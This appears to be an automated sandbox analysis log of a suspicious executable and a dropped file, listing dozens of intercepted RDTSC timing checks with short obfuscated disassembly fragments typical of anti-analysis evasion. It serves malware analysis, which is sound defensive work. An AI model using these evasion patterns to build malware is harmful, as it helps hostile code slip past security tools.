Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626657 second address: 626668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F8EA84FC126h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F838 second address: 62F83C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F83C second address: 62F840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F840 second address: 62F846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636D56 second address: 636D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA84FC138h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8EA84FC12Fh 0x00000012 push eax 0x00000013 jbe 00007F8EA84FC126h 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 636D8D second address: 636DAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA8EA37DCh 0x00000009 jmp 00007F8EA8EA37DEh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647225 second address: 64722B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64722B second address: 647250 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8EA8EA37EAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 647250 second address: 64725E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F8EA84FC126h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64725E second address: 647282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E2h 0x00000007 jns 00007F8EA8EA37D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F8EA8EA37D6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 646D8C second address: 646D96 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65EB1F second address: 65EB25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DC5C second address: 65DC64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DEF7 second address: 65DF19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37DEh 0x00000007 jp 00007F8EA8EA37D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F8EA8EA37D6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DF19 second address: 65DF41 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8EA84FC126h 0x00000008 jc 00007F8EA84FC126h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8EA84FC136h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DF41 second address: 65DF5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E0h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65DF5D second address: 65DF61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E3A9 second address: 65E3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8EA8EA37D6h 0x0000000a popad 0x0000000b jmp 00007F8EA8EA37DBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E516 second address: 65E53F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F8EA84FC12Dh 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jl 00007F8EA84FC15Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F8EA84FC126h 0x0000001b jnp 00007F8EA84FC126h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E53F second address: 65E55B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37DAh 0x00000007 jmp 00007F8EA8EA37DAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E55B second address: 65E55F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E55F second address: 65E563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E68B second address: 65E696 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F8EA84FC126h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E696 second address: 65E69B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65E69B second address: 65E6C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8EA84FC135h 0x0000000e jmp 00007F8EA84FC12Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66028D second address: 66029C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37DBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66182F second address: 661835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661835 second address: 66183F instructions: 0x00000000 rdtsc 0x00000002 je 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66183F second address: 661859 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8EA84FC12Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F8EA84FC128h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 661859 second address: 66185E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6670AF second address: 6670B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6670B3 second address: 6670B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6673BF second address: 6673C9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6673C9 second address: 6673F4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8EA8EA37D8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b sub dword ptr [ebp+122D1E1Fh], edx 0x00000011 push dword ptr [ebp+122D2AEBh] 0x00000017 mov edx, 40D8270Ch 0x0000001c call 00007F8EA8EA37D9h 0x00000021 pushad 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6673F4 second address: 667434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007F8EA84FC138h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007F8EA84FC12Bh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push esi 0x0000001a pop esi 0x0000001b jmp 00007F8EA84FC12Ch 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 667434 second address: 667495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8EA8EA37E9h 0x00000008 jmp 00007F8EA8EA37E3h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007F8EA8EA37DEh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c push edi 0x0000001d jmp 00007F8EA8EA37DBh 0x00000022 pop edi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8EA8EA37DBh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A6DF second address: 66A724 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC12Eh 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c jp 00007F8EA84FC126h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007F8EA84FC12Ch 0x0000001b push edi 0x0000001c push edx 0x0000001d pop edx 0x0000001e push edx 0x0000001f pop edx 0x00000020 pop edi 0x00000021 push edx 0x00000022 jmp 00007F8EA84FC131h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B02C4 second address: 53B02D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 585B0E second address: 585B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0421 second address: 53B0427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0427 second address: 53B042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B042B second address: 53B044E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8EA8EA37E6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B044E second address: 53B0454 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0498 second address: 53B049E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B049E second address: 53B04E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC134h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F8F1937FC62h 0x0000000e push 762327D0h 0x00000013 push dword ptr fs:[00000000h] 0x0000001a mov eax, dword ptr [esp+10h] 0x0000001e mov dword ptr [esp+10h], ebp 0x00000022 lea ebp, dword ptr [esp+10h] 0x00000026 sub esp, eax 0x00000028 push ebx 0x00000029 push esi 0x0000002a push edi 0x0000002b mov eax, dword ptr [762C0140h] 0x00000030 xor dword ptr [ebp-04h], eax 0x00000033 xor eax, ebp 0x00000035 push eax 0x00000036 mov dword ptr [ebp-18h], esp 0x00000039 push dword ptr [ebp-08h] 0x0000003c mov eax, dword ptr [ebp-04h] 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 mov dword ptr [ebp-08h], eax 0x00000049 lea eax, dword ptr [ebp-10h] 0x0000004c mov dword ptr fs:[00000000h], eax 0x00000052 ret 0x00000053 jmp 00007F8EA84FC130h 0x00000058 and dword ptr [ebp-04h], 00000000h 0x0000005c jmp 00007F8EA84FC130h 0x00000061 mov edx, dword ptr [ebp+0Ch] 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B04E8 second address: 53B04EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B04EC second address: 53B04F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0601 second address: 53B0607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0607 second address: 53B060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B060B second address: 53B0689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edi+01h] 0x0000000b pushad 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 pushfd 0x00000011 jmp 00007F8EA8EA37E0h 0x00000016 or si, 3E58h 0x0000001b jmp 00007F8EA8EA37DBh 0x00000020 popfd 0x00000021 popad 0x00000022 inc edi 0x00000023 pushad 0x00000024 mov cl, 35h 0x00000026 pushad 0x00000027 push edi 0x00000028 pop eax 0x00000029 mov cl, bl 0x0000002b popad 0x0000002c popad 0x0000002d test al, al 0x0000002f jmp 00007F8EA8EA37E2h 0x00000034 jne 00007F8F19D1BBF8h 0x0000003a pushad 0x0000003b call 00007F8EA8EA37DEh 0x00000040 pop ebx 0x00000041 mov ebx, esi 0x00000043 popad 0x00000044 mov ecx, edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F8EA8EA37DFh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0689 second address: 53B0691 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0691 second address: 53B06F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 shr ecx, 02h 0x0000000a jmp 00007F8EA8EA37DCh 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 rep movsd 0x00000017 rep movsd 0x00000019 jmp 00007F8EA8EA37E0h 0x0000001e mov ecx, edx 0x00000020 pushad 0x00000021 call 00007F8EA8EA37DEh 0x00000026 mov si, EEA1h 0x0000002a pop esi 0x0000002b push edi 0x0000002c pushfd 0x0000002d jmp 00007F8EA8EA37DAh 0x00000032 sub al, 00000038h 0x00000035 jmp 00007F8EA8EA37DBh 0x0000003a popfd 0x0000003b pop ecx 0x0000003c popad 0x0000003d and ecx, 03h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 mov ecx, edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B06F4 second address: 53B06F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B06F8 second address: 53B0735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F8EA8EA37DDh 0x0000000c add cx, 70D6h 0x00000011 jmp 00007F8EA8EA37E1h 0x00000016 popfd 0x00000017 popad 0x00000018 rep movsb 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F8EA8EA37DDh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0735 second address: 53B0791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8EA84FC137h 0x00000009 adc cx, 3ABEh 0x0000000e jmp 00007F8EA84FC139h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop ebx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000020 jmp 00007F8EA84FC12Ah 0x00000025 mov eax, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov dx, 69D0h 0x0000002e mov ecx, edi 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0791 second address: 53B07C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8EA8EA37E7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B07C3 second address: 53B07DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov ebx, 7B9777B6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr fs:[00000000h], ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 mov si, dx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B07DE second address: 53B0873 instructions: 0x00000000 rdtsc 0x00000002 mov bl, 77h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F8EA8EA37DEh 0x0000000c adc si, 1AD8h 0x00000011 jmp 00007F8EA8EA37DBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop ecx 0x00000019 jmp 00007F8EA8EA37E6h 0x0000001e pop edi 0x0000001f pushad 0x00000020 push ecx 0x00000021 pushfd 0x00000022 jmp 00007F8EA8EA37DDh 0x00000027 or cx, BD26h 0x0000002c jmp 00007F8EA8EA37E1h 0x00000031 popfd 0x00000032 pop esi 0x00000033 push eax 0x00000034 push edx 0x00000035 pushfd 0x00000036 jmp 00007F8EA8EA37E7h 0x0000003b jmp 00007F8EA8EA37E3h 0x00000040 popfd 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0873 second address: 53B089A instructions: 0x00000000 rdtsc 0x00000002 mov esi, 5C06132Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop esi 0x0000000b jmp 00007F8EA84FC132h 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ax, bx 0x00000017 push edx 0x00000018 pop eax 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B089A second address: 53B08A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B08A0 second address: 53B08A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B08A4 second address: 53B08A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B08A8 second address: 53B0498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a jmp 00007F8EA84FC136h 0x0000000f popad 0x00000010 retn 0008h 0x00000013 cmp dword ptr [ebp-2Ch], 10h 0x00000017 mov eax, dword ptr [ebp-40h] 0x0000001a jnc 00007F8EA84FC125h 0x0000001c push eax 0x0000001d lea edx, dword ptr [ebp-00000590h] 0x00000023 push edx 0x00000024 call esi 0x00000026 push 00000008h 0x00000028 jmp 00007F8EA84FC12Bh 0x0000002d push 56F85141h 0x00000032 pushad 0x00000033 movsx ebx, ax 0x00000036 movzx eax, dx 0x00000039 popad 0x0000003a xor dword ptr [esp], 20D24D69h 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F8EA84FC12Bh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B09AE second address: 53B0AA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8EA8EA37E9h 0x00000009 adc si, 7446h 0x0000000e jmp 00007F8EA8EA37E1h 0x00000013 popfd 0x00000014 mov cx, 7EF7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d call 00007F8EA8EA37E8h 0x00000022 pushfd 0x00000023 jmp 00007F8EA8EA37E2h 0x00000028 adc cx, 5B48h 0x0000002d jmp 00007F8EA8EA37DBh 0x00000032 popfd 0x00000033 pop eax 0x00000034 pushfd 0x00000035 jmp 00007F8EA8EA37E9h 0x0000003a xor esi, 2EAC5066h 0x00000040 jmp 00007F8EA8EA37E1h 0x00000045 popfd 0x00000046 popad 0x00000047 push eax 0x00000048 jmp 00007F8EA8EA37E1h 0x0000004d xchg eax, ebp 0x0000004e jmp 00007F8EA8EA37DEh 0x00000053 mov ebp, esp 0x00000055 pushad 0x00000056 movzx ecx, bx 0x00000059 jmp 00007F8EA8EA37E3h 0x0000005e popad 0x0000005f pop ebp 0x00000060 push eax 0x00000061 push edx 0x00000062 pushad 0x00000063 call 00007F8EA8EA37DBh 0x00000068 pop esi 0x00000069 pushad 0x0000006a popad 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 58F332 second address: 58F336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 710D58 second address: 710D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 711403 second address: 711407 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 711580 second address: 7115AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA8EA37E3h 0x00000009 popad 0x0000000a jmp 00007F8EA8EA37E7h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 713CE1 second address: 713CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 713CE5 second address: 713D45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 jnl 00007F8EA8EA37DBh 0x0000000e push 00000000h 0x00000010 call 00007F8EA8EA37D9h 0x00000015 jmp 00007F8EA8EA37E4h 0x0000001a push eax 0x0000001b push ecx 0x0000001c jmp 00007F8EA8EA37DCh 0x00000021 pop ecx 0x00000022 mov eax, dword ptr [esp+04h] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8EA8EA37E9h 0x0000002d rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 713D45 second address: 713D7A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jbe 00007F8EA84FC138h 0x00000010 jmp 00007F8EA84FC132h 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F8EA84FC12Bh 0x00000022 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 713D7A second address: 713D84 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 713F14 second address: 713F40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC139h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 jnc 00007F8EA84FC126h 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 713F40 second address: 713F66 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e jnc 00007F8EA8EA37D6h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHDGCGHIJKE.exe	RDTSC instruction interceptor: First address: 714042 second address: 71404C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8EA84FC12Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
